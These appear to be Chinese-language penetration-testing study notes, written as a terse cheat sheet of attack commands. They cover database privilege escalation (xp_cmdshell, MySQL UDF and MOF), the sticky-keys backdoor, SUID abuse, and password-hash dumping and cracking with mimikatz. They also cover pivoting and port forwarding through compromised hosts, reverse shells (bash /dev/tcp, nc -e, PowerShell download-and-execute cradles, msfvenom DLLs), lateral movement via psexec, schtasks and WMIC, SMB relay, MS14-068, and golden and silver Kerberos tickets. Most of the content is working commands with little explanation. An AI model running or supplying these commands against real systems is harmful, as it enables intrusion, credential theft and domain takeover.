EXEC sp_configure 'show advanced options', 1;RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;(开启cmdshell)
mysql(window/linux)提权
windows下的msyql提权 UDF提权 UDF(user defined function),用户自定义函数 step 1:收集信息 select user(); select @@version; select version(); select @@basedir;数据库位置 show variables like '%plugin%'; 查看数据库默认的插件存储位置 c:\phpStudy\MySQL\lib\plugin\
step 2:导出dll文件 create function cmdshell(dll文件中函数名) returns string soname 'myudf.dll';
myudf.dll文件在导出的过程根据不同类型的数据库,放置的位置是不一样的!!!!! <=5.1 mysql ,将dll文件导入到的位置是:c:/windows/system32/ >5.1 mysql,将dll文件导入到的位置是:MySQL\lib\Plugin\
dll文件如何来? 通过C++、C#等将恶意shellcode封装到dll文件中,其中封装的函数名必须要知道,mycmd, 导入文件方式: 通过菜刀等webshell管理工具直接上传(不一定上传成功) 找一个能够上传的地方,C:\\temp, select load_file('c:\\temp\myudf.dll') into dumpfile 'c:\phpStudy\MySQL\lib\plugin\myduf.dll'; 要求:1、lib目录下有plugin目录 如果没有plguin目录,则如何操作? 通过菜刀等webshell管理工具手工创建; NTFS数据流写,select 'test' into dumpfile 'c:\phpStudy\MySQL\lib\plugin::$INDEX_ALLOCATION' ; 2、在plugin目录下有写的权限,也要注意读文件的位置
create function cmdshell(dll文件中函数名) returns string soname 'myudf.dll'; 将默认插件目录中的myudf.dll文件导入数据库中去使用 mysql.func cmdshell backshell
step 3:select cmdshell('系统命令');
step 4:删除函数 drop function cmdhell; delete from mysql.func where name='cmdshell'; Linux的UDF提权
信息收集 mysql 中必须要有func表 插件库的位置show variables like '%plugin%'; /usr/lib/mysql/plugin/ 将系统对应的so文件上传到/usr/lib/mysql/plugin/目录下
create function sys_eval returns string soname "lib_mysqludf_sys.so"; select sys_eval('whoami');
MOF提权(注意版本的限制2003、xp) windows管理规范(WMI)中提供一种方法是托管MOF文件(托管对象格式文件) 方法:将MOF文件放在C:\windows\system32\wbem\mof\ mof文件: 提前准备好的(useradd.mof/addtoadmin.mof)
SELECT load_file('G:\\phpStudy\\PHPTutorial\\WWW\\adduser.mof') into dump_file('C:\\Windows\\System32\\wbem\\MOF\\adduser.mof');
注意:(1)show variables like '%secure%' ;对应的选项等于空或者指定C:\\Windows\\System32\\wbem\\MOF (2)C:\\Windows\\System32\\wbem\\MOF对于数据库具有可写权限
G:\phpStudy\PHPTutorial\WWW\adduser.mof addtoadmin.mof
其他提权方式 (1)shift后门提权 c:\\windows\system32 copy /y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe (2)配置不当引起的FTP提权 (3)serv-u提权 serv-u 43958端口 (4)G6 8021端口 不允许外连 (5)SUID提权 S权限 普通用户执行(x)该文件时将具有该文件所有者(root)的权限 找具有S权限的文件: find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} \; nmap(2.0.2----5.2.1) namp s nmap --interactive !sh whoami(root) find
vim
less
more
~~~~~~~~~~
HASH C71D49A6144772F352806201EF564951BE55EDD5 160
q1K0_82d*123456 49acaa14930608ed11bb973a65da6421 123456 30d6e6892a29af5d2a2d9ca0a0d5d322
773359240eb9a1d9 msyql232 23AE809DDACAF96AF0FD78ED04B6A265E05AA257 mysqlsha1 40bd001563085fc35165329ea1ff5c5ecbdbbeef sha1 $6$3oMlaRPZ$NheBSASq0t0b4mvfYKm.Stw/YRxxEPMpYyWNHL6Hbyh0S4T7Y7xyhrieoH3qYC7vBg4M9.85HilQ86LhNjeUO0
sha512(123,3oMlaRPZ)*1000 --unicode
MD4 MD5 sha1 sha256 512 1024 2048 密码的破解 step 1:先获取密文数据 Step 2:使用工具破解 线上平台:cmd5 pmd5 somd5 chamd5 ~~~~~~~ https://www.objectif-securite.ch/en/ophcrack.php# 线下平台:cain/john/hashcat/Saminside/彩虹表破解(rainbow tables) 系统密码破解
Windows 基于SAM文件的密码破解(获取密文系统密码) pwdump7.exe QuarksPwDump.exe -dhl wce.exe -l
然后使用LC5/Saminside 去破解 基于内存信息的读取 GetPass.exe mimikatz wce -w
Linux 远程暴力破解 brutessh.exe -h 192.168.1.55 -u root -d mypasswordlist.txt hydra (MSF)
本地暴力破解 shadow(root) 基于字典的破解
John --wordlist=d:\pass.txt shadow john --show shadow
手工获取Windows hashes 并使用cain
从注册表中获取sam(HKLM\SAM:用户信息 权限 密码) system(HKLM\SYSTEM:系统服务配置信息) security(HKLM\SECURITY :策略)配置单元 ************************************************************ reg save HKEY_LOCAL_MACHINE\sam C:\sam.hive reg save HKEY_LOCAL_MACHINE\system C:\system.hive reg save HKEY_LOCAL_MACHINE\security C:\security.hive
************************************************************ 内网代理 原因:内网的环境是封闭的,外网无法访问内网资源(共有IP--!->内网IP),如果想访问其内网资源,在当前服务器(getshell,提权)中设置代理,将其作为跳板,对内网资源进行探测和访问
内网代理分类: 正向代理:lhost-->代理工具--->rhost(自己主动进攻,意味远程主机上需要开启某个端口等待连接,这种可能被防火墙检测出来)bind_tcp 反向代理:rhost-->代理工具-->firewall-->lhost(让远程主机主动来找到我,攻击者主机上开启某个端口,远程主机主动找IP:port,不易检测出来)reverse_tcp
采用reverse的方法一般较为安全,因为是在测试机连接攻击机,所以一般不会被防火墙发现;而bind在测试机打开端口时很容易被安全软件和防火墙发现。
工具: reGeorg+Proxifier python regerogsocketproxy.py -u ulr -p 9999 本地9999接收数据,需要我们向该端口发送数据:Proxifier,需要设置代理服务器; 代理规则(全局):工具(any ) 表述 target ip post 代理服务器 使用的工具保证其底层数据建立连接的过程中使用socket通信(ping icmp 网络层)
reGeorg基于Socks5代理,一般需要和Proxifier配套使用,整个过程也是使用HTTP协议传输,操作起来比较复杂 http://192.168.1.128/tunnel.php
reGeorg+ScoaksCap 建立代理服务器,加载工具
reGerog+proxychains python regerogsocketproxy.py -u ulr -p 9999
修改配置文件:/etc/proxychains.conf
socks5 127.0.0.1 9999
proxychains namp 10.10.10.18 proxychains rdesktop 10.10.10.18
Earthworm(EW),轻量级功能强大内网穿透工具,基于C开发,三大功能:socks5代理、端口转发、端口映射
ew -h
-s 指定链路状态,6种 -l 本地监听的端口 -d 指定转发或者反弹的主机地址 -e 指定转发或者反弹的主机端口 -f 连接或者映射的主机地址 -g 连接或者映射的主机端口
1、SOCKS5代理
EW支持正向和反向socks5代理连接。
(1).正向socks5代理(适用于目标拥有公网ip且可任意开监听端口) 肉鸡:ew -s ssocksd -l 1080
(2). 反向socks5代理(适用于目标无公网ip但可访问外网)
本机(攻击者公网的主机):ew -s rcsocks -l 1080 -e 8880(监听端口) 肉鸡:ew -s rssocks -d 攻击者公网主机IP -e 8880
在Proxifier、ScoaksCap设置代理 指向攻击者公网的主机
借助于KALI系统(理解为公网机器)来测试EW反向sockes5代理 step 1:在kali中监听,/ew_for_linux -s rcsocks -l 1001 -e 8888 setp 2:在肉鸡中执行命令主动去来连接kali, ew_for_win_32.exe -s rssocks -d 192.168.1.131 -e 8888 step 3:在攻击者本地(处于内网环境的PC)去设置代理:192.168.1.131 :1001 在借组于代理服务器去渗透测试内网
使用MSF中的代理 step 1:获取目标机器的meterpreter会话 step 2:添加路由:msf exploit(handler) > route add 10.1.1.129(要访问的内网IP) 255.255.255.255 1(meterpreter的会话) 如果要代理10.1.1.129/24 到session 1,则可以这么写 route add 10.1.1.0 255.255.255.0 1
step 3:使用 socks4a并且配置,监听端口 exploit -y
内网转发适用的场景:某些端口被禁止出入外网或者需要访问内网某些服务
Netcat、Lcx、Htran、Fpipe、EW、MSF
NC:(反弹shell) 肉鸡:nc -e cmd.exe 192.168.1.1 7788 nc -lvvp 7788 Htran: htran.exe (-p)-Listen 9999 8888 肉鸡:htran.exe (-p) -Slave hacker_ip 9999 肉鸡IP 3389
肉鸡:HTran2.4.exe -p -tran 7788 10.10.10.18 3389 攻击端直接连接肉鸡的7788端口
Fpipe:(端口重定向) 肉鸡:fpipe.exe -l 1234 -s 1000 -r 3389 内网肉鸡C的IP 将发送到本机1000端口的连接通过1234端口被重定向到了C主机的3389端口上,然后再连接B的1234端口即可连接到C的3389上
LCX: 肉鸡:lcx.exe –slave 公网IP +端口 内网IP +端口 Lcx.exe –listen 监听端口,转发到公网机器的3389端口
肉鸡:lcx.exe -tran 7788 10.10.10.18 80
EW: 端口转发: (1)ew -s lcx_listen -e 1234 -l 8888(此时开启监听1234、8888端口,习惯lcx的可以-e在前,-l在后); (2)ew -s lcx_slave -d 1.1.1.1 -e 1234 -f 127.0.0.1 -g 3389 端口映射: ew -s lcx_tran -l 12345 -f 127.0.0.1 -g 3389(127.0.0.1可改成目标主机可访问的其他ip)
SSH: (1)穿透(代理) 攻击者: ssh -D 127.0.0.1:1080 -p 22 user@IP 需要知道肉鸡的IP和root 密码
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target
(2)穿透两层网络(*****)
ssh -D 127.0.0.1:1080 -p 22 user1@IP1
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains ssh -D 127.0.0.1:1081 -p 22 user2@IP2
Add socks4 127.0.0.1 1081 in /etc/proxychains.conf
proxychains commands target
(3)SSH端口转发——远程转发 肉鸡:ssh -R 1234:10.10.10.18:3389 -fN 192.168.1.131 攻击者:rdesktop 127.0.0.1:1234
(4)SSH端口转发——本地转发 攻击者:ssh -L 1234:10.10.10.18(内网IP):3389(内网端口) -fN 192.168.1.132(肉鸡) 攻击者:rdesktop 127.0.0.1:1234
(5)ptunnle 服务器:(肉鸡)ptunnel -x 1234(-x 设置密码) 客户端:(攻击者)ptunnel -p proxy(指向肉鸡的IP) -lp 2222(本地启用端口) -da destination(内网IP) -dp 22(内网端口) -x 1234(da 就是目标地址 dp 目标端口 -x 密码)
netstat -ntulp |grep 2222
rdesktop 127.0.0.1:2222
MSF端口转发: (1)要获取肉鸡的meterpreter会话 (2)portfwd 使用meterpreter的一个用于端口转发的模块 eg:portfwd add -L 192.168.1.131 -l 3388 -p 3389 10.10.10.18
portfwd add -l 3388 10.10.10.18 -p 3389 portfwd add -l 3380 10.10.10.18 -p 80
netstat -ntulp |grep 3388
rdesktop 127.0.0.1:3388
反弹shell的方式
NetCat(NC)
-h 查看帮助信息 -d 后台模式 -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, … -e prog程序重定向,一但连接就执行[危险] -i secs延时的间隔 -l 监听模式,用于入站连接 -L 监听模式,连接天闭后仍然继续监听,直到CTR+C -n IP地址,不能用域名(不使用DNS反向查询IP地址的域名) -o film记录16进制的传输 -p[空格]端口 本地端口号 -s addr 本地源地址 -r 随机本地及远程端口 -t 使用Telnet交互方式 -u UDP模式 -v 详细输出,用-vv将更详细 -w 数字 timeout延时间隔 -z 将输入,输出关掉(用于扫锚时)
tcp端口扫描:nc -vv ip port nc -vv -w 5 ip 1000-2000
传输文件: 肉鸡:nc hacker_ip port < /etc/passwd nc -d -l -p port > ./pwd 加密传输 传输目录
正向连接: nc -l -p 8888 -t -e cmd.exe nc -nvv 肉鸡IP 8888 反向连接: nc -lvvp 8888 nc -t -e cmd.exe hacker_ip 8888
*********************************LINUX************************************ bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 nc -e nc 非-e FIFO telnet
python php java puel ruby ~~~~~~~~~ *********************************Windows*************************************** nc ew 语言类(服务器上有安装!!!)
*******************************************************************************
其他反弹shell的方式 powercat 内存读取方式:powershell.exe -Nop -Nonl -exec bypass IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -l -p 9999 -e cmd
本地加载文件:
nishang
powershell.exe -exec bypass IEX(New-Object System.Net.Webclient).DownloadString('http://192.168.1.1:8668/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.129 -port 6666 dnscat 建立加密的DNS通道 server:ruby dnscat2.rb --dns "domain=demo.com,host=192.168.1.129" --no-cache -e open client:powershell -exec bypass IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain demo.com -DNSServer 192.168.1.129 Empire后渗透测试工具
************************************************************************************************************ PowerSploit 后渗透框架 ,dll 反弹shell 后门 信息收集 清理日志记录
powershell -exec bypass IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.1:9009/Invoke-DllInjection.ps1 ');Invoke-DllInjection -ProcessID 2324 -Dll c:\test.dll
生成dll文件:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.129 lport=6667 -a x64 --platform windows -f dll -o ./test.dll
开启某个程序:肉鸡 start-process C:\windows\system32\notepad.exe -WindowStyle Hidden 2324
************************************************************************************************************
MSF和powershell 获取权限
exploit/multi/script/web_delivery
http://192.168.1.129:8080/PP3caCigb
powershell.exe -nop -w hidden -c $h=new-object net.webclient;$h.proxy=[Net.WebRequest]::GetSystemWebProxy();$h.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $h.downloadstring('http://192.168.1.129:8080/PP3caCigb');
************************************************************************************************************** Meterpreter综合利用
shell
cat
getpwd 肉鸡家目录 pwd
ls
upload
download
ps
getpid
migrate
sysinfo
getuid
getsystem 提权
run 执行脚本
hashdump
load 加载额外的辅助程序
********************************************************************************************
ipc$漏洞利用
共享命名管道(139/445)
net view net share 查看本机共享资源列表 net use 与网络中的主机建立连接
net use \\192.168.1.135\IPC$ /del 删除连接 net use \\192.168.1.134\c$ "123.com" /user:administrator 建立全连接 net user \\192.168.1.136\ipc$ copy evil.exe \\192.168.1.135\C$ ()
net use z: \\192.168.1.121\c$ "PASSWORD" /user:"USERNAME"
pstools psexec 账号和密码 psexec \\192.168.1.136 cmd PsExec.exe \\192.168.1.136 cmd -u test -p 123.com,
上传木马文件: copy 在映射过来的盘符中创建或者复制到里面
运行木马程序:(计划任务) at xp ser03 at \\192.168.1.101 15:00 c:\evil.exe at \\192.168.1.101 15:00 systeminfo >c:\\1.txt
net time \\192.168.1.101
SC SCHTASKS /Create /S 192.168.1.136 /U test /P 123.com /SC ONCE /ST 14:32 /TN test12 /TR cmd.exe /RU system
SCHTASKS /Create /S 192.168.1.135 /U administrator /P 123456 /SC ONCE /ST 16:20 /TN test12 /TR cmd.exe /RU system SUCCESS: The scheduled task "test12" has successfully been created.
WMIC
wmic process call create "C:\Program Files\Tencent\QQ\QQ.exe" wmic process where name=”notepad.exe” call terminate
wmic /node:192.168.1.136 /user:test /password:123.com process call create "c:\add.bat" wmic /node:192.168.1.135 /user:test /password:123.com process call create "shutdown.exe -r -f -m"
wmic /USER:"administrator" /PASSWORD:"123456" /NODE:"192.168.1.135" process call create "whoami" wmic /USER:"administrator" /PASSWORD:"123456" /NODE:"192.168.1.135" process
wmic computersystem get domain 查看工作组或者域 wmic computersystem where "name='a123'" call rename demo 修改计算机名abc为123 wmic DISKDRIVE get Caption,size,InterfaceType 获取物理磁盘型号大小等 wmic FSDIR where "drive='c:' and filename='test'" list 查找c盘下名为test的目录
wmic fsdir "c:\\good" call delete 删除c:\good文件夹
wmic process call create notepad wmic process call create shutdown.exe
wmic process list brief 列出进程的核心信息,类似任务管理器
wmic SERVICE where name="VaultSvc" call startservice 运行apache服务 wmic SERVICE where name="apache" call stopservice
wmic SHARE where name="e$" call delete删除共享
WMIC SHARE CALL Create "","test","3","TestShareName","","c:\test",0 添加共享
wmic STARTUP list 查看启动项
wmic useraccount where "name='admin" call Rename admin00 修改名字admin为admin00
wmic qfe get hotfixid 补丁程序
wmic /node:192.168.1.136 /USER:test PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 开启远程桌面服务
powershell.exe -exec bypass IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.1:9008/invoke-mimikatz.ps1');Invoke-Mimikatz -DumpCreds |Out-File C:\\a.txt
wmic /USER:"test" /PASSWORD:"123.com" /NODE:"192.168.1.136" process call create "powershell.exe -exec bypass IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.1:9008/invoke-mimikatz.ps1');Invoke-Mimikatz -DumpCreds |Out-File C:\\a.txt"
***************************************************************************************
SMB欺骗(重放、中继)
SMB v1 xp/2003 SMB v2 7 2008 2008r2 SMB v3 8 8.1 2012 2016
nmap -Pn -sT -p 445 --open --script smb-security-mode.nse,smb-os-discovery.nse 192.168.1.0/24
使用Invoke-Inveigh.ps1攻击
客户端: Import-Module C:\Users\Administrator\Desktop\Invoke-Inveigh.ps1 Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -LLMNR Y -HTTP Y -Proxy Y
TEST::TEST-PC:C1D28E3FE5B4C9A5:EA3881DB16C07C6F1E8D463DD96EB1EC:0101000000000000C3D9AC092C41D5012755EC83D2309BC10000000 0020004005700490001000400570049000400040077006900030004007700690007000800C3D9AC092C41D501060004000200000008003000300000 00000000000000000000300000B8FD9CE807089CCF0CB76425FFBCEC3B6BDEBF5F13018192A107AC3B18D0C04E0A001000000000000000000000000 000000000000900240063006900660073002F003100390032002E003100360038002E0031002E00310033003300000000000000000000000000
hashcat -a 0 -m 5600 hash.txt passwd.txt(123.com,)
pstools(psexec) ipc$ smbmap msf
psexec.exe \\192.168.1.135 -u test -p 123.com, cmd
**********************************************************************************
Responder(局域网嗅探器) https://github.com/SpiderLabs/Responder.git
python respsonder.py -I eth0
*********************************************************************** msf SMB嗅探
*************************************************************************************************
ARP DNS 欺骗 内网嗅探
**********************************************************************************************
域环境
1、安装 DNS ip静态 首选DNS 指向自己 活动目录(dcpromo) 重启
mydc.com\administrator 123.com
MSF内网环境综合利用
域环境
加入域环境的条件: DNS 指向自己DNS服务器 192.168.1.137 win7 非企业版 可以加入 需要域账号(域普通账号 域管理员)
域渗透流程: 域环境信息收集(网络信息、域用户、域管理员、域名称、本地用户列表等) 域控的定位(找DC所在位置,ping nslookup powershell python 等等) 域控的攻击(MS14068 传输票据 MSB中继 配置问题 提权等等) 登录域控(pstools SMB ipc$ WMI MSF CS 等等) 收集当前域环境下的信息(hash/网路拓扑/用户数据等) 域渗透的前提条件:需要拿下处于某个域环境的一台PC(DC:后续流程就简单了 、非DC:做上述域渗透的所有流程!!!!)
###信息收集: ipconfig /all net user net localgroup administrsators 本地管理员(域用户) net user /domain 域用户 krbtgt kerbreos认证中心用户、 net group /domain 域环境中的组 net group "domain admins" /domain 查询域管理组 net group "domain computers" /domain 查询域中所有的计算机 net group "domain controllers" /domain 查询域控 net group "domain users" /domain 查询域中所有的用户 net time /domain 判断主域,主域服务器中有时间服务器 net config workstaions 登录域 net session 会话 net use \\ip\C$ "pwd" /user:user 建立会话 net share net view 查看域内PC列表 net view \\ip 某ip对应共享 new view /domain 查看整个网络环境中域列表 net view /domain:workgroup 查看指定域下计算列表 net accounts /domain 域密码策略 nbtstat -A route print arp -a 针对域的命令: dsquery computer dsquery subnet group ou site server user * ###域控的定位 net group "domain controllers" /domain 查询域控 mydemo ping -n 1 mydemo -4 根据名称找IP 确认 ping mydc.com nslookup mydc.com DNS AD 同一台PC
net group "domain admins" /domain 查询域管理组
DOS命令中添加域账号: net user username password /add /domain net group 组名 用户名 /add /domain
net user hacker 123.com, /add /domain net group "domain admins" hacker /add /domain net group "domain controllers" hacker /add /domain 注意上述两行命令需要域管理员方可操作!!!!!!
###域攻击 (1)当前getshell并提权的主机上登录账号是域管理员 使用当前具有域控权限的账号去登陆域控所在PC 直接使用工具导出密码(dcuser1 administrator)
(2)MS14-068攻击(当前目标服务器:域控 中没有安装KB3011780)
step 1:dir \\mydemo.mydc.com\C$ step 2:使用mimikatz和MS14-068 生成票据 查看当前普通域用户所在PC的SID whoami /all S-1-5-21-1882168165-1614527120-2746584387-1110
whoami /user
wmic useraccount get name,sid
MS14-068.exe MS14-068.py MS14-068.ps1
产生票据的地方是在普通域用户所在PC 还是可以在攻击者电脑中(代理) 运行? 产生票据的过程需要连接到域控PC!!!!连接不上则无法生成票据、
ping mydc.com
192.168.1.137 没有web DNS 搭理PC(肉鸡) 测试域控的连通性 没问题
192.168.1.130 web 能访问
step 3:python MS14-068.py 查看帮助信息
-u 域账号@域名城 dcuser2@mydc.com -p 域账号密码 12345.com -s 域账号的SID号 S-1-5-21-1882168165-1614527120-2746584387-1110 -d 域控所在的位置 mydemo.mydc.com TGT_dcuser2@mydc.com.ccache
python ms14-068.py -u dcuser2@mydc.com -p 12345.com -s S-1-5-21-1882168165-1614527120-2746584387-1110 -d mydemo.mydc.com
step 4: 使用mimikatz 清空当前计算机中kerberos票据 kerberos::purge 清空票据
然后倒入票据: mimikatz.exe "kerberos::ptc TGT_dcuser2@mydc.com.ccache"
step5:dir \\mydemo.mydc.com\C$
***********************************************************************************************************************
黄金票据:TGT 条件: 1、域名称 2、域的SID值 3、域的KRBTGT账号的HASH 4、伪造任意用户名
step 1:获取KRBTGT的HASH mimikatz.exe "lsadump::dcsync /domain:mydc.com /user:krbtgt" fe7e9d05fc51f8bb80f9b6fd024160c0 step 2:生成黄金票据 golden.kiribi
域SID号:S-1-5-21-1882168165-1614527120-2746584387-500
mimikatz.exe "kerberos::golden /admin:administrator /domain:mydc.com /sid:S-1-5-21-1882168165-1614527120-2746584387 /krbtgt:fe7e9d05fc51f8bb80f9b6fd024160c0 /ticket:golden.kiribi"
/admin:伪造的用户名 /sid:SID值,注意是去掉最后一个-后面的值 /krbtgt:krbtgt的HASH值 /ticket:生成的票据名称
step 3:黄金票据的使用 通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中。
kerberos::purge kerberos::ptt golden.kiribi kerberos::list
step 4:查看dir \\mydemo.mydc.com\C$
**********************************************************************************************************************
白银票据:
1.域名称 2.域的SID值 3.域的服务账户的密码HASH(不是krbtgt,是域控) 4.伪造的用户名,可以是任意用户名,这里是silver
step 1:首先我们需要知道服务账户的密码HASH,这里同样拿域控来举例,通过mimikatz查看当前域账号administrator的HASH值。注意,这里使用的不是Administrator账号的HASH,而是mydemo$的HASH。
sekurlsa::logonpasswords efa6570ee8fae2fc58888cda0c2cc135
step 2: kerberos::golden /domain:mydc.com /sid:S-1-5-21-1882168165-1614527120-2746584387 /target:mydemo.mydc.com /service:cifs /rc4:efa6570ee8fae2fc58888cda0c2cc135 /user:silver /ptt
/domain: 当前域名称 /sid: SID值 取最后- 前面的部分 /target: 目标主机 域控 /service: 服务名称 要访问共享文件 CIFS /rc4: 目标主机HASH /user: 伪造用户 /ptt pass the ticket 把生成的票据导入内存 如果想导出到文件 使用 /ticket:silver.sil kerberos::ptt ticket:silver.sil
step 3:klist 查看本机的kerberos票据可以看到生成的票据
step 4: dir \\mydemo.mydc.com\C$
****************************************************************************************************************
令牌窃取
当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只有在重启机器后才会清除。 • 可以使用多种工具查看目前系统上存在的模拟令牌: • Incognito • Powershell - Invoke-TokenManipulation.ps1 • Cobalt Strike - steal_token
下面主要使用MSF来测试: meterpreter > getsystem meterpreter > load incognito meterpreter > list_tokens –u Delegation Tokens Available ============================== NT AUTHORITY\LOCAL SERVICENT AUTHORITY\NETWORK SERVICENT AUTHORITY\SYSTEM PAYLOADS\Administrator PAYLOADS\w7 meterpreter > impersonate_token "PAYLOADS\\Administrator” [+] Delegation token available [+] Successfully impersonated user PAYLOADS\Administrator meterpreter > getsystem meterpreter > getuid 然后是system权限
综合环境
TOP10